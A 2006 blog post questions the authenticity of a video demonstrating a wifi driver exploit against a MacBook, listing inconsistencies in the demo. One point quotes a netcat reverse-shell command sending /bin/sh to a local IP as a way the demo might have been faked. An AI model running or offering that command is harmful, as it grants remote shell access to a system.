About

Archives

01 Jul - 31 Jul 2006
01 Aug - 31 Aug 2006
01 Sep - 30 Sep 2006
01 Oct - 31 Oct 2006
01 Nov - 30 Nov 2006
01 Dec - 31 Dec 2006
01 Jan - 31 Jan 2007
01 Feb - 28 Feb 2007
01 Mar - 31 Mar 2007
01 Apr - 30 Apr 2007
01 May - 31 May 2007
01 Jun - 30 Jun 2007
01 Jul - 31 Jul 2007
01 Aug - 31 Aug 2007
01 Oct - 31 Oct 2007
01 Nov - 30 Nov 2007
01 Dec - 31 Dec 2007
01 Jan - 31 Jan 2008
01 Feb - 28 Feb 2008
01 Mar - 31 Mar 2008
01 Aug - 31 Aug 2009
01 Sep - 30 Sep 2009
01 Jan - 31 Jan 2010
01 May - 31 May 2010
01 Jun - 30 Jun 2010
01 Aug - 31 Aug 2010
01 Sep - 30 Sep 2010

Links

Search!

Last Comments

Alvaro Oliver (StackBook Part 4 …): Hey! nice post. I just bo…
Tiago Gomes (Let's start again…): ok, now feel happy, you a…
Tiago Gomes (Let's start again…): ok, now feel happy, you a…
ir0nhide (StackBook Part 4.…): Very cool, nice work
Toby (Gigabyte, LCDs, a…): Good stuff, although now …
luke (StackBook part 3 …): what are you planing to u…
Toby (A quick rant...): Bastards
Hugh (StackBook Part 2 …): Nicely done, but you now …
gm (StackBook Part 2 …): Hmm, I plan to go a littl…
luke (StackBook Part 2 …): i cant help but wonder if…

Stuff

Powered by Pivot - 1.40.4: 'Dreadwind' 
XML: RSS Feed 
XML: Atom Feed 

« Coming to a KisMac ne… | Home | Linux... in the palm … »

It doesn't all add up...

06 08 06 - 13:01 http://blog.washingtonpost.com/securityfix/2006/08/hijacking_a_macbook_in_60_seco.html
Video of an exploit against a wifi driver.

What doesn't add up?

1. What is that white thing he plugs into the MacBook? He says it's a third party wireless card. Which one is it?




2. Why is everyone reporting it as a sign that Apple is insecure if the flaw supposedly is in every device with said card. Shouldn't it be the fault of the manufacturer of the card?

3. It's only a guess that Atheros is responsible, we don't know what that white thing is. It's not an ExpressCard - the MacBook lacks an ExpressCard slot. It kinda looks like it has USB on the end. It's not an ExpressCard, or a PCMCIA card. The MacBook only has a power connector, two USB, one FireWIre, a monitor, and sound ports on the side. It could be USB, but a device that big hanging off a USB port would be stupid as it would be easily broken off. It must be connected to the USB port though - there's nowhere else to put it. So what is it?

4. Some people have been claiming it's fake because they didn't give a live demo. Their reason for not giving a live demo (someone might capture the exploit, and use it themselves) is understandable. But of course, every bit of "proof" in the video could have been faked.

5. He walks around the table to show there are no wires. So? What prevents the exploit from working wirelessly?

6. Someone COULD have just edited out the bit where he turns to the MacBook and types "nc -e "/bin/sh" 192.168.1.1 1234" (yes, i know that OS X's netcat isn't compiled with -e in there, but it can be added). The shell starts within that person's home directory too - which is very strange. Surely, it would start somewhere different if it was started by the device driver.

7. Why did he type "bash" at the terminal on the Mac?

8. ifconfig doesn't add up either. We can see wlt1 on it, but last time I checked, that driver didn't do the monitor mode interface (maybe he's found out a way to enable it, or maybe i'm mistaken on that one. I'm only going from what I heard when we were first trying to get KisMac going on the MacBookPro, which has the same card. KisMac works in passive mode on that computer, but I heard it worked with the en1 interface instead. I should actually check the sourcecode of KisMac. I have that wlt1 interface enabled on my PB G4 (it's just a case of setting <true/> to <APMonitorMode> in the XML file), but that's a different computer, different card. I will have to further investigate that one - one of my friends has a black macbook.)



Also, we see only en0 and en1. Below that, we see the shell prompt. So the output was cut off.

9. Also, unfortunately, we don't see the whole commandline of the exploit. The "target" MAC address was off the edge of the camera. That could have been useful.

The comments on that article are interesting- it's clear nobody seems to have much of an idea what they are talking about, and are just flaming everyone else. Obviously nobody actually watched the video, or even heard him say "It's not the fault of the Mac OS as we are using third-party hardware here".

Oh, and the "victim" MacBook has the same internal IP as this server. Is that a bad sign?

I'm not saying this didn't happen, and I'm not denying it's possible. I think it was some good work finding and exploiting a device driver flaw, but the video could probably have been clearer as to what exactly happened, and what was achieved.

In fact, I'm impressed with this - link - some of their past work.

Update: Since then, their website has been updated, to make it more clear that it was not anything Apple that was exploited. However, everyone else reporting this seems not to see this fact.
No comments

Trackback link: http://gm.stackunderflow.com/blog/pivot/tb.php?tb_id=25

  
Remember personal info?

Emoticons / Textile

To prevent automated comment spam, the answer to this rather simple question is required...

 

  (Register your username / Log in)

Notify:
Hide email:

Small print: All html tags except <b> and <i> will be removed from your comment. You can make links by just typing the url or mail-address.

 

Linkdump